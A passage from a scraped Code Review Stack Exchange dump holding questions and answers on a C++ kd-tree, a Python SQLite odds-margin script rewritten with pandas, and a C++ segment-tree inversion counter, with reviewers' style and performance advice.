"body": "Hey Daniel, thanks a ton! I'm rather busy at the moment, so I was only able to glance through your message, but I can already tell there's a lot to learn there. I'll give it a more proper look in the future, when I can pay it the attention it deserves!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-11T18:14:42.107",
"Id": "251958",
"ParentId": "249542",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T14:29:56.323",
"Id": "249542",
"Score": "2",
"Tags": [
"swift",
"ios",
"reactive-programming",
"rx-swift"
],
"Title": "UIView position updates based on device motion via RxSwift"
}
|
249542
|
<p>I am not very fluent in C++ and want to construct a Kd-Tree in C++ based on this paper <a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.70.7296&rep=rep1&type=pdf" rel="noreferrer">Efficient Locally Weighted Polynomial Regression Predictions</a>, to use it to conduct some fast implementations of local linear regression . However, the speed for creating the tree and search( especially) is very slow. I have tried a stack implementation, and it just improves the speed by a little. Below are the relevant part of my code.</p>
<p><strong>KDtreeiteration.h</strong></p>
<pre><code>#pragma once
#include <memory>
#include <vector>
#include <Eigen/Dense>
#include <chrono>
#include <iostream>
using all_point_t = std::vector<Eigen::VectorXd>;
template<typename T, typename U>
std::pair<T, U> operator+(const std::pair<T,U>&, const std::pair<T,U>&);
template<typename T>
std::ostream& operator<<(std::ostream&, const std::vector<T>&);
class kdnode{
public:
int n_below;
int split_d;
double split_v;
Eigen::MatrixXd XtX;
Eigen::VectorXd XtY;
std::vector<double> dim_max;
std::vector<double> dim_min;
std::shared_ptr<kdnode> right_child;
std::shared_ptr<kdnode> left_child;
double sumY;
kdnode(); // constructor
kdnode(kdnode&&) ; //move
~kdnode(); // destructor
};
class kdtree{
public:
kdtree();
~kdtree();
double weight_sf;
int tracker;
std::shared_ptr<kdnode> root;
std::shared_ptr<kdnode> leaf;
std::shared_ptr<kdnode> build_tree(all_point_t::iterator, all_point_t::iterator, int, double, int, size_t, std::vector<double>, std::vector<double>);
std::shared_ptr<kdnode> build_exacttree(all_point_t::iterator, all_point_t::iterator, int, double, int, size_t, std::vector<double>, std::vector<double>);
explicit kdtree(all_point_t, int, int);
std::pair<Eigen::MatrixXd, Eigen::VectorXd> get_XtXXtY(const Eigen::VectorXd& query, std::vector<double> dim_max, std::vector<double> dim_min, std::shared_ptr<kdnode>& root, const Eigen::VectorXd& h, int kcode);
std::pair<Eigen::MatrixXd, Eigen::VectorXd> getapprox_XtXXtY(const Eigen::VectorXd& query, std::vector<double> dim_max, std::vector<double> dim_min, std::shared_ptr<kdnode>& root, double epsilon, const Eigen::VectorXd& h, int kcode);
std::pair<Eigen::MatrixXd, Eigen::VectorXd> find_XtXXtY(const Eigen::VectorXd& query, int method, double epsilon, const Eigen::VectorXd& h, int kcode);
// test functions;
void test_XtX(Eigen::MatrixXd);
void test_XtY(Eigen::MatrixXd);
void test_XtXXtY(Eigen::MatrixXd);
};
class Timer
{
public:
Timer();
void reset();
double elapsed() const;
private:
typedef std::chrono::high_resolution_clock clock_;
typedef std::chrono::duration<double, std::ratio<1> > second_;
std::chrono::time_point<clock_> beg_;
};
// functions
all_point_t convert_to_vector(const Eigen::MatrixXd& XY_mat);
all_point_t convert_to_query(const Eigen::MatrixXd& XY_mat);
all_point_t convert_to_queryX(const Eigen::MatrixXd& X_mat);
double eval_kernel(int kcode, const double& z);
std::pair<double, double> calculate_weight(int kcode, const Eigen::VectorXd& query, const std::vector<double>& dim_max, const std::vector<double>& dim_min , const Eigen::VectorXd& h);
Eigen::MatrixXd form_ll_XtX(const Eigen::MatrixXd& XtX, const Eigen::VectorXd& query );
Eigen::VectorXd form_ll_XtY(const Eigen::VectorXd& XtY , const Eigen::VectorXd& query);
Eigen::VectorXd calculate_mx(const Eigen::MatrixXd& XtX, const Eigen::VectorXd& XtY);
// R function
Eigen::VectorXd loclinear_i(const Eigen::MatrixXd& XY_mat, int method, int kcode,
double epsilon, const Eigen::VectorXd& h, int N_min);
// for bandwidth selection
std::pair<Eigen::VectorXd, double> calculate_mx_Xinv(int kcode, const Eigen::MatrixXd &XtX, const Eigen::MatrixXd &XtY);
Eigen::VectorXd h_select_i(const Eigen::MatrixXd& XY_mat, int method, int kcode, double epsilon,
const Eigen::MatrixXd& bw, int N_min);
void pertube_XtX(Eigen::MatrixXd& XtX);
double max_weight(int kcode, const Eigen::VectorXd&h);
Eigen::VectorXd predict_i(const Eigen::MatrixXd& XY_mat, const Eigen::MatrixXd& Xpred_mat, int method, int kcode,
double epsilon, const Eigen::VectorXd& h, int N_min);
</code></pre>
<p><strong>Implementation for creation of tree</strong></p>
<pre><code>std::shared_ptr<kdnode> kdtree::build_tree(all_point_t::iterator start, all_point_t::iterator end,
int split_d, double split_v, int N_min, size_t len,
std::vector<double> dim_max_, std::vector<double> dim_min_){
std::shared_ptr<kdnode> newnode = std::make_shared<kdnode>();
if(end == start) {
return newnode;
}
newnode->n_below = len;
newnode->dim_max = dim_max_;
newnode->dim_min = dim_min_;
if (end-start <= N_min) {
Eigen::MatrixXd XtX_(dim_max_.size() + 1 , dim_max_.size() + 1);
XtX_.setZero();
Eigen::VectorXd XtY_(dim_max_.size() + 1);
XtY_.setZero();
for (auto k =0; k <dim_max_.size(); k++ ){
dim_max_[k] = (*start)(k+1);
dim_min_[k] = (*start)(k+1);
}
for (auto i = start; i != end; i ++){
Eigen::VectorXd XY = *i;
Eigen::VectorXd Y = XY.tail<1>();
Eigen::VectorXd X = XY.head(XY.size()-1);
XtY_ += X*Y;
XtX_ += X*X.transpose();
for (auto j = 0; j < dim_max_.size(); j++) {
if(X(j+1) > dim_max_[j]){
dim_max_[j] = X(j+1);
}
if(X(j+1) < dim_min_[j]){
dim_min_[j] = X(j+1);
}
}
}
newnode->dim_max = dim_max_;
newnode->dim_min = dim_min_;
// std::cout << "dim_min_" << dim_min_ <<'\n';
// std::cout << "dim_max_" << dim_max_ <<'\n';
newnode->XtX = XtX_;
newnode->XtY = XtY_;
return newnode;
}
else {
size_t l_len = len/2 ; // left length
size_t r_len = len - l_len; // right length
auto middle = start + len/2; // middle iterator
int max = 0;
int dim = 0;
for(int i = 0; i < newnode->dim_max.size(); i++){
double var = newnode->dim_max[i] - newnode->dim_min[i];
if(var > max){
max = var;
dim = i;
}
}
newnode -> split_d = dim;
int vector_dim = dim + 1;
std::nth_element(start, middle, end, [vector_dim](const Eigen::VectorXd& a, const Eigen::VectorXd & b) {
return a(vector_dim) < b(vector_dim);
});
newnode->split_v = (*middle)[vector_dim];
dim_max_[dim] = newnode->split_v;
dim_min_[dim] = newnode->split_v;
newnode-> left_child = build_tree(start, middle, newnode->split_d, newnode->split_v, N_min, l_len, dim_max_, newnode->dim_min);
newnode-> right_child = build_tree(middle, end, newnode->split_d, newnode->split_v, N_min, r_len, newnode->dim_max, dim_min_);
if ((newnode->left_child) && (newnode->right_child)){
newnode->XtX = newnode->left_child->XtX + newnode ->right_child->XtX; // sumY = the sum of the bottom 2 nodes
newnode->XtY = newnode->left_child->XtY + newnode ->right_child->XtY;
}
else if (newnode->left_child) {
newnode->XtY = newnode->left_child->XtY;
newnode->XtX = newnode->left_child->XtX;
}
else if (newnode->right_child) {
newnode->XtX = newnode->right_child->XtX;
newnode->XtY = newnode->right_child->XtY;
}
}
return newnode;
}
</code></pre>
<p><strong>Implementation of search</strong></p>
<pre><code>std::pair<Eigen::MatrixXd, Eigen::VectorXd> kdtree::get_XtXXtY(const Eigen::VectorXd& query,
std::vector<double> dim_max,
std::vector<double> dim_min,
std::shared_ptr<kdnode>& root,
const Eigen::VectorXd& h,
int kcode){
std::pair<double,double> weights;
std::stack<std::shared_ptr<kdnode>> storage;
std::shared_ptr<kdnode> curr = root;
Eigen::MatrixXd XtX = Eigen::MatrixXd::Zero(curr->XtX.rows() , curr->XtX.cols());
Eigen::VectorXd XtY = Eigen::MatrixXd::Zero(curr->XtY.rows() , curr->XtY.cols());
weights = calculate_weight(kcode, query, dim_max, dim_min,h);
double w_max = weights.first;
double w_min = weights.second;
while (w_max != w_min || storage.empty() == false){
while (w_max != w_min ){ // if condition fufilled
storage.push(curr);
curr = curr->left_child;
weights = calculate_weight(kcode, query, curr->dim_max, curr->dim_min, h); // calculate max and min weight
w_max = weights.first;
w_min = weights.second;
if(w_max == w_min ){
XtX += w_max*curr->XtX;
XtY += w_max*curr->XtY;
}
}
curr = storage.top();
storage.pop();
curr = curr->right_child;
weights = calculate_weight(kcode, query, curr->dim_max, curr->dim_min, h); // calculate max and min weight
w_max = weights.first;
w_min = weights.second;
if(w_max == w_min){
XtX += w_max*curr->XtX;
XtY += w_max*curr->XtY;
}
}
return std::make_pair(XtX,XtY);
}
</code></pre>
<p>All of my constructors are default. Any ideas on how to make the code faster? Thank you!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:30:07.717",
"Id": "489335",
"Score": "1",
"body": "Welcome to code review, this is a great question, but if you want suggestions for optimizing the code there are a few things you need to add to the code, such as a working unit test for the code and the definitions of operator functions provided in the header `KDtreeiteration.h`. It would also be very helpful to both you and the reviewers if you [profiled](https://en.wikipedia.org/wiki/Profiling_(computer_programming)) the code. [Profiling help](https://stackoverflow.com/questions/375913/how-can-i-profile-c-code-running-on-linux)."
}
] |
[
{
"body": "<h1>Fix compiler warnings</h1>\n<p>The compiler will warn about some unused parameters and of comparisons between integers of different signedness. For the latter, the solution is simple; instead of:</p>\n<pre><code>for (auto i = 0; i < some.size(); i++) {\n</code></pre>\n<p>Write the type of <code>k</code> explicitly:</p>\n<pre><code>for (size_t i = 0; i < some.size(); i++) {\n</code></pre>\n<p>The unused parameters of <code>build_tree()</code> should be removed.</p>\n<h1>Move <code>kdnode</code> inside <code>kdtree</code></h1>\n<p>Since <code>kdnode</code> is just an implementation detail of <code>kdtree</code>, move it into <code>class kdtree</code>, and to avoid needless repetition, I would rename it <code>node</code>:</p>\n<pre><code>class kdtree {\npublic:\n class node {\n ...\n };\n\n ...\n shared_ptr<node> root;\n ...\n};\n</code></pre>\n<h1>Don't repeat yourself</h1>\n<p>Avoid repeating code and typenames. For example:</p>\n<pre><code>std::shared_ptr<kdnode> newnode = std::make_shared<kdnode>();\n</code></pre>\n<p>Either try to specify the type only on the left hand side:</p>\n<pre><code>std::shared_ptr<kdnode> newnode{new kdnode};\n</code></pre>\n<p>This still requires specifying <code>kdnode</code> twice though. Or only on the right hand side:</p>\n<pre><code>auto newnode = std::make_shared<kdnode>();\n</code></pre>\n<p>If you see you are using <code>dim_max_.size()</code> a lot, create a variable for it:</p>\n<pre><code>auto size = dim_max_.size();\n...\nEigen::MatrixXd XtX_(size + 1, size + 1);\n...\nfor (size_t k = 0; k < size; k++) {\n ...\n}\n</code></pre>\n<h1>Use <code>const</code> references where appropriate</h1>\n<p>I see some <code>std::vector</code>'s being passed by value, which is almost always wrong. Since they are input arguments, pass them by <code>const</code> reference. This avoids unnecessary copies of a potentially large arrays being made.</p>\n<p>It looks like you are modifying <code>dim_max_</code> and <code>dim_min_</code> in <code>kdtree::build_tree</code>, but then you copy them into <code>newnode->dim_max</code> and <code>nedwnode->dim_min</code> after modification. Just copy first (which you already do), and then modify the copy instead.</p>\n<h1><code>kdtree::build_tree()</code> always returns a node</h1>\n<p>The first line of <code>kdtree::build_tree()</code> always constructs a new <code>kdnode</code>. If <code>end == start</code>, you then return the shared pointer to this new node. However, later on you recursively call <code>build_tree()</code>, and check whether the return value is an empty shared pointer, so that makes me believe you actually intended to return an empty shared pointer. To do that, write the following:</p>\n<pre><code>std::shared_ptr<kdnode> kdtree::build_tree(...) {\n if (end == start)\n return {};\n\n auto newnode = std::make_shared<kdnode>();\n ...\n}\n</code></pre>\n<h1>Don't write unnecessary comments</h1>\n<p>The comments you wrote are not very good. They are almost all completely redundant. For example:</p>\n<pre><code>kdnode(); // constructor \nkdnode(kdnode&&); // move \n~kdnode(); // destructor \n</code></pre>\n<p>Yes, those functions are the (move) constructors and the destructor. That should be obvious from the function name and the fact that there is no type in front of them.</p>\n<pre><code>// test functions;\nvoid test_XtX(Eigen::MatrixXd);\n...\n</code></pre>\n<p>I already see that those are functions, and they have <code>test</code> in the name, so I can already see that they are test functions.</p>\n<pre><code>// functions \nall_point_t convert_to_vector(const Eigen::MatrixXd& XY_mat);\n...\n</code></pre>\n<p>That is the most pointless comment I have ever seen.</p>\n<pre><code>// R functions\nEigen::VectorXd loclinear_i(const Eigen::MatrixXd& XY_mat, int method, int kcode, \n double epsilon, const Eigen::VectorXd& h, int N_min);\n</code></pre>\n<p>What is an "R" function? The only thing that pops into my mind when I read that is the R programming language, but clearly this is just a C++ function.</p>\n<pre><code>// for bandwidth selection\n...\n</code></pre>\n<p>Ok, here there might be some value. But do these functions themselves calculate bandwidth, or are they just generic helper functions? A function like <code>max_weight()</code> sounds like it could be used for many things, not just "bandwidth selection". Is this comment really helpful?</p>\n<pre><code>size_t l_len = len/2; // left length\nsize_t r_len = len - l_len; // right length\nauto middle = start + len/2; // middle iterator \n</code></pre>\n<p>The comments just mirror the names of the variables. If you think <code>l_len</code> is not clear enough, then instead of adding a comment, change the variable names instead: <code>size_t left_length = ...</code>, <code>size_t right_length = ...</code>, and so on.</p>\n<pre><code>newnode->XtX = newnode->left_child->XtX + newnode->right_child->XtX; // sumY = the sum of the bottom 2 nodes\n</code></pre>\n<p>This one is very confusing! What is <code>sumY</code>? I don't see that variable name anywhere! If you mean <code>newnode->XtX</code> is the sum of its child nodes, which are also at the bottom of the tree, then that does look redundant. And why only add this comment here? Is this line special, or the fact that you sum is special?</p>\n<pre><code>while (w_max != w_min) { // if condition fufilled\n</code></pre>\n<p>This is also redundant. Of course a <code>while</code>-statement will run while its condition is fulfilled.</p>\n<pre><code>weights = calculate_weight(kcode, query, curr->dim_max, curr->dim_min, h); // calculate max and min weight \n</code></pre>\n<p>The function name suggests you are calculating <em>a</em> weight. The comment says you are calculating the max and min weight. Maybe you should change the name of the function instead? Also, the result is a <code>std::pair</code>, if possible use C++17's structured bindings to decompose it directly into two variables, <code>min_weight</code> and <code>max_weight</code>. Ideally this line should look something like:</p>\n<pre><code>auto [min_weight, max_weight] = calculate_weight_range(...);\n</code></pre>\n<p>And yes, make the minimum come before the maximum, as that is much more common, so is <a href=\"https://en.wikipedia.org/wiki/Principle_of_least_astonishment\" rel=\"nofollow noreferrer\">less surprising</a>.</p>\n<h1>Write useful comments</h1>\n<p>What is missing is some comments with high-level descriptions of what you are doing, and why. For example, there are three different scenarios in <code>kdtree::build_tree()</code>: either <code>end == start</code>, <code>end <= N_min</code> or <code>end > N_min</code>. In the first case, there is nothing to do because the range is empty. So you could write:</p>\n<pre><code>if (end == start) {\n // The range is empty, so we do not have to create a new node.\n return {};\n}\n</code></pre>\n<p>Do something similar for the other two conditions: in the case of <code>end <= N_min</code>, mention that you only need to create a signle node, and if <code>end > N_min</code>, that you bisect the range and recursively iterate over both halves.</p>\n<p>In <code>kdtree::get_XtXXtY()</code>, explain how you are traversing the tree structure to get the answer you want.</p>\n<h1>Prefer <code>std::unique_ptr</code> over <code>std::shared_ptr</code></h1>\n<p>You should use <code>std::shared_ptr</code> if there are multiple owners of an object, which possibly non-overlapping ownership lifetimes. However, in the case of a tree structure, there is a clear hierarchy of ownership, and a <code>std::shared_ptr</code> is overkill. Use a <code>std::unique_ptr</code> instead for <code>kdnode::left_child</code>, <code>kdnode::right_child</code> and <code>kdtree::root</code>.</p>\n<p>In <code>kdtree::get_XtXXtY()</code>, you have to maintain a <code>std::stack</code> of pointers to nodes. This stack is not owning any nodes, it's just to contain references to existing nodes that are guaranteed to exist while this function is still running, so you can just store raw pointers:</p>\n<pre><code>std::stack<kdnode *> storage;\nauto curr = root.get();\n...\nstorage.push(curr.get());\n...\ncurr = storage.pop();\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T18:02:13.540",
"Id": "249576",
"ParentId": "249543",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249576",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T14:59:34.857",
"Id": "249543",
"Score": "9",
"Tags": [
"c++",
"tree"
],
"Title": "Construction and search of Kd-Tree in c++"
}
|
249543
|
<p>My goal was to create a script that would:</p>
<ol>
<li>Pull certain data from an existing SQLite table</li>
<li>Apply a simple mathematical formula</li>
<li>Save the new values to another SQLite table</li>
</ol>
<p>I’m just starting to learn Python (programming in general) and to be honest a lot of that is unclear to me. But using the internet and a lot of existing examples, I created something, and that something does its job, but I want to know what I did well and what I did not so well so that I can correct it and learn for the future.</p>
<pre><code>import sqlite3 as sql
from sqlite3 import Error
def create_connection(db_file):
"""create a database connection to the SQLite database"""
database_connection = None
try:
database_connection = sql.connect(db_file)
return database_connection
except Error as e:
print(e)
return database_connection
def get_data(database_connection, get_data_sql):
"""get data from sqlite table"""
try:
c = database_connection.cursor()
c.execute(get_data_sql)
return c.fetchall()
except Error as e:
print(e)
def true_odds_calculation_3way(home_odds, draw_odds, away_odds):
"""use margin weights proportional to the odds method
to calculate true odds in games with 3 possible outcomes"""
margin = (1/home_odds)+(1/draw_odds)+(1/away_odds)-1
home_true = ((3*home_odds)/(3-(home_odds*margin)))
draw_true = ((3*draw_odds)/(3-(draw_odds*margin)))
away_true = ((3*away_odds)/(3-(away_odds*margin)))
# limiting floats to 3 decimal points
margin_3way = float("{:.3f}".format(margin))
home_true_3way = float("{:.3f}".format(home_true))
draw_true_3way = float("{:.3f}".format(draw_true))
away_true_true_3way = float("{:.3f}".format(away_true))
true_odds_3way = [home_true_3way, draw_true_3way, away_true_true_3way]
return true_odds_3way, margin_3way
def true_odds_calculation_2way(over_odds, under_odds):
"""use margin weights proportional to the odds method
to calculate true odds in games with 2 possible outcomes"""
margin_ou = ((1/over_odds)+(1/under_odds)-1)
over_true = ((2*over_odds)/(2-(over_odds*margin_ou)))
under_true = ((2*under_odds)/(2-(under_odds*margin_ou)))
# limiting floats to 3 decimal points
margin_2way = float("{:.3f}".format(margin_ou))
over_true_2way = float("{:.3f}".format(over_true))
under_true_2way = float("{:.3f}".format(under_true))
true_odds_2way = [over_true_2way, under_true_2way]
return true_odds_2way, margin_2way
def add_data(database_connection, add_data_sql, data):
"""add new calculated data to another sqlite table"""
try:
c_2 = database_connection.cursor()
c_2.execute(add_data_sql, data)
database_connection.commit()
except Error as e:
print(e)
def main():
database = 'Test.db'
# get data from existig table
sql_get_pinnacle_odds = """SELECT Pinnacle_Home_Closing, Pinnacle_Draw_Closing, Pinnacle_Away_Closing,
Pinnacle_Home_Opening, Pinnacle_Draw_Opening, Pinnacle_Away_Opening,
Pinnacle_Over_Closing, Pinnacle_Under_Closing, Pinnacle_Over_Opening, Pinnacle_Under_Opening FROM Model;"""
# add data in another table
sql_add_data = """ INSERT INTO True_Odds VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?);"""
# create a database connection
database_connection = create_connection(database)
# get data
if database_connection is not None:
# get data from table
pinnacle_closing_lines = get_data(database_connection, sql_get_pinnacle_odds)
for i in pinnacle_closing_lines:
true_pinnacle_closing_odds ="True Closing Odds" # Just for better orientation
true_closing_odds, margin1 = true_odds_calculation_3way(i[0], i[1], i[2])
true_1x2_closing = [true_pinnacle_closing_odds] + true_closing_odds + [margin1]
true_pinnacle_opening_odds ="True Opening Odds" # Just for better orientation
true_opening_odds, margin2 = true_odds_calculation_3way(i[3], i[4], i[5])
true_1x2_opening = [true_pinnacle_opening_odds] + true_opening_odds + [margin2]
true_pinnacle_ou_closing_odds ="True Closing OU Odds" # Just for better orientation
true_closing_ou_odds, margin3 = true_odds_calculation_2way(i[6], i[7])
true_ou_closing = [true_pinnacle_ou_closing_odds] + true_closing_ou_odds + [margin3]
true_pinnacle_ou_opening_odds ="True Opening OU Odds" # Just for better orientation
true_opening_ou_odds, margin4 = true_odds_calculation_2way(i[8], i[9])
true_ou_opening = [true_pinnacle_ou_opening_odds] + true_opening_ou_odds + [margin4]
true_pinnacle = true_1x2_closing + true_1x2_opening + true_ou_closing + true_ou_opening
# save data from table
add_data(database_connection, sql_add_data, true_pinnacle)
else:
print("Error!")
if __name__ == '__main__':
main()
</code></pre>
<p>First I wanted to create a script that would automatically add new columns to the existing SQLite table and populate them with the calculated values. But I failed.</p>
<p>Since I am still collecting data in a SQLite table from which this script will pull them and calculate new values, after I finish, I will assign a unique value to that table and insert it via the script into a new table where I will record the results and eventually merge these two tables into one. So I will be sure that everything will be in order.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T17:52:39.913",
"Id": "489342",
"Score": "0",
"body": "One quick note, in your true_odds_calculations you're passing in three separate odds, performing the same operations on each of them, and then packing them together in a list for your return. Repetitive code like that is a sign you should consider receiving a list or tuple of odds and performing calculations via loops or list comprehension e.g. true_odds = [math_stuff(odds) for odds in raw_odds]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T17:57:49.810",
"Id": "489343",
"Score": "0",
"body": "And a second note, if I were you I would scrap all of this code and learn to use Pandas. It's the package people use for data analysis and manipulation like this and will read directly from sqlite and let you perform calculations over whole columns at once with it's dataframe structure. You could get all of that code down to 10-15 lines with it"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T09:44:05.113",
"Id": "489378",
"Score": "1",
"body": "Thank you very much for your answer, I will study it in detail tonight."
}
] |
[
{
"body": "<p>Here's your first 65 lines (everything before main) cut down to 16 with Pandas.</p>\n<p>Since you're new to programming watch out for when you start repeating the same lines with different variables or the same functions with different number of arguments. Those are signs what you're doing can likely be simplified.</p>\n<p>And if you're trying to do anything with data stored in tables (csv, sql, etc) do it with Pandas. It's built off of dataframes that let you read, manipulate, and save data while preserving the full table structure and is basically the standard package for any data analysis work</p>\n<pre><code>import pandas as pd \nimport sqlite3 as sql\n\ndef read_table():\n conn = sql.connect('Test.db')\n return pd.read_sql_table('MODEL', conn)\n\ndef true_odds_calculation_Nway(df, cols):\n n = len(cols)\n margin = 'true_' + "_".join(cols) + '_margin_' + str(n) + 'way'\n df[margin] = (1/df[cols]).sum(axis=1)-1\n\n f = lambda row: (n*row[col])/(n-(row[col]*row[margin]))\n for col in cols:\n df['true_' + col + "_" + str(n) + "way"] = df.apply(f, axis=1)\n \n return df.round(3)\n</code></pre>\n<p>And just a quick test to show how you use it:</p>\n<pre><code>test = pd.DataFrame([[1,2,3],[4,5,6],[7,8,9]], columns=['A', 'B', 'C'])\nprint(true_odds_calculation_Nway(test, ['A', 'B']))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T17:32:13.190",
"Id": "489395",
"Score": "1",
"body": "Everything works perfectly, thanks a lot for the effort."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T19:06:59.770",
"Id": "489399",
"Score": "1",
"body": "I hope it's clear enough you can start to see how you can use pandas for other things. There's lots of tutorials on it but basically you need to read in a dataframe and then apply the formulas you want (in this case f is the function you repeated a bunch rewritten as a one line lambda function), and then apply it to each column. All the string joins are just to create column names automatically that will be unique for each function. I forgot to include saving it but pandas let's you write a dataframe directly to a table pretty easily if you google it. Good luck!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T22:15:36.080",
"Id": "489405",
"Score": "0",
"body": "This is a lot easier than what I did and the pandas look very interesting. I was able to save the data frame to the database table without any problems. All the best."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T19:37:34.313",
"Id": "249578",
"ParentId": "249545",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249578",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T15:55:56.203",
"Id": "249545",
"Score": "1",
"Tags": [
"python",
"sqlite"
],
"Title": "Load data from SQLite table, modify them and save in to new SQLite table"
}
|
249545
|
<p>I was trying to do this question and I get TLE on one the test cases (the actual <a href="https://codeforces.com/edu/course/2/lesson/4/4/practice/contest/274684/problem/C" rel="nofollow noreferrer">link to the question </a> will ask you to login)<a href="https://i.stack.imgur.com/UPS1a.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UPS1a.png" alt="Question description" /></a>.</p>
<p>What is an inversion?</p>
<blockquote>
<p>An inversion of an element is the number of elements to the left which
are greater. Sum of number of numbers throughout a segment is the
answer.</p>
</blockquote>
<p>It is based on Segment Trees.</p>
<p>My attempt is this:</p>
<pre><code>#include <bits/stdc++.h>
#define ll long long
using namespace std;
struct segtree {
int size;
vector<int> sums;
void init(int n){
size=1;
while(size<n)
size*=2;
sums.assign(2*size,0);
}
void change(int i,int v,int x,int lx,int rx){
if(rx-lx==1){sums[x]+=v;return;}
int m=(lx+rx)/2;
if(i<m)
change(i,v,2*x+1,lx,m);
else
change(i,v,2*x+2,m,rx);
sums[x]= sums[2*x+1] + sums[2*x+2];
}
void change(int i,int v){
change(i,v,0,0,size);
}
int calc(int l,int r,int x,int lx, int rx){
if(lx>=l&&rx<=r) return sums[x];
if(rx<=l||lx>=r) return 0;
int m =(lx+rx)/2;
return calc(l,r,2*x+1,lx,m) + calc(l,r,2*x+2,m,rx);
}
int calc(int l){
return calc(l,size,0,0,size);
}
};
int main(){
int n, m;
cin >> n >> m;
vector<int> a(n);
for(int i=0;i<n;++i)
cin >> a[i];
while(m--) {
int op;
cin >> op;
if(op == 1){
int x, y;
cin >> x >> y;
x-=1;
segtree st;
st.init(40);
int sum = 0;
for(int i=x;i<y;++i){
int val = a[i];
sum += st.calc(val);
st.change(val-1, 1);
}
cout << sum << "\n";
} else {
int x, y;
cin >> x >> y;
a[x-1]=y;
}
}
return 0;
}
</code></pre>
<p>I wanna know a better time complexity version of the program.</p>
|
[] |
[
{
"body": "<h2>Overall Observations</h2>\n<p>The function <code>main()</code> is too complex and should be broken up into multiple functions, if you do this you might notice that you are recreating your <code>segtree</code> struct for every query when it only needs to be created once and then each query should be applied to that structure.</p>\n<p>Recursion is expensive in terms of resources it might be better to find iterative solutions.</p>\n<p>The code is difficult to read and that may be why I am the first person answering.</p>\n<h2>Avoid using <code>#include <bits/stdc++.h></code></h2>\n<p>The header <code>bits/stdc++.h</code> is not part of the C++ programming standard and includes the whole world, this program needs only 2 C++ headers</p>\n<pre><code>#include <iostream>\n#include <vector>\n</code></pre>\n<p>I realize that the programming challenge probably provided this for you, but that doesn't mean you should keep it if you know the proper includes.</p>\n<h2>Avoid <code>using namespace std;</code></h2>\n<p>If you are coding professionally you probably should get out of the habit of using the <code>using namespace std;</code> statement. The code will more clearly define where <code>cout</code> and other identifiers are coming from (<code>std::cin</code>, <code>std::cout</code>). As you start using namespaces in your code it is better to identify where each function comes from because there may be function name collisions from different namespaces. The identifier<code>cout</code> you may override within your own classes, and you may override the operator <code><<</code> in your own classes as well. This <a href=\"https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice\">stack overflow question</a> discusses this in more detail.</p>\n<h2>Variable Names</h2>\n<p>While you are using the variable names from the programming challenge, these variables names are not very descriptive and could cause you or someone who might be maintaining this code in a professional environment to make errors in the code.</p>\n<h2>Horizontal Spacing</h2>\n<p>One of the standard conventions in programming is to leave a space between an operator and an operand in any statement, this makes the code easier to read, examples:</p>\n<pre><code> if(rx-lx==1){sums[x]+=v;return;}\n</code></pre>\n<p>versus</p>\n<pre><code> if (rx - lx == 1) { sums[x] += v; return; }\n\n int m=(lx+rx)/2;\n</code></pre>\n<p>versus</p>\n<pre><code> int m = (lx + rx) / 2;\n</code></pre>\n<h2>Vertical Spacing</h2>\n<pre><code> if(rx-lx==1){sums[x]+=v;return;}\n int m=(lx+rx)/2;\n</code></pre>\n<p>versus</p>\n<pre><code> if (rx - lx == 1)\n {\n sums[x] += v;\n return;\n }\n\n int m = (lx + rx) / 2;\n</code></pre>\n<p>As mentioned above, it isn't really clear what the variables <code>m</code>, <code>rx</code> and <code>lx</code> are, especially <code>m</code>.</p>\n<h2>Unused <code>#define</code></h2>\n<p>The code contains:</p>\n<pre><code>#define ll long long\n</code></pre>\n<p>This is unused in the scope of the program and should be removed. There are at least 2 ways in C++ that don't require <code>#define</code>, one is a <code>typedef</code> and another is a using statement. While macros will continue to be supported in C++ to remain backwards compatible with C, the trend is to not use macros when possible.</p>\n<p>##Magic Numbers\nThere are Magic Numbers throughout the program function (40, 2, 1), it might be better to create symbolic constants for them to make the code more readable and easier to maintain. These numbers may be used in many places and being able to change them by editing only one line makes maintenance easier.</p>\n<p>Numeric constants in code are sometimes referred to as <a href=\"https://en.wikipedia.org/wiki/Magic_number_(programming)\" rel=\"nofollow noreferrer\">Magic Numbers</a>, because there is no obvious meaning for them. There is a discussion of this on <a href=\"https://stackoverflow.com/questions/47882/what-is-a-magic-number-and-why-is-it-bad\">stackoverflow</a>.</p>\n<p>An enum could be used for the query type.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:41:25.193",
"Id": "489337",
"Score": "0",
"body": "yeah I agree with you regarding all that but I am just wondering if you can actually help me write a better algorithm that doesn't lead to TLE . I am not super concerned with the looks of my code at the moment."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T16:58:49.353",
"Id": "489338",
"Score": "0",
"body": "If you move where you declare the struct and do the initialization that should solve the TLE problem. I can't help you write code, it is off-topic on Code Review."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-19T18:47:44.703",
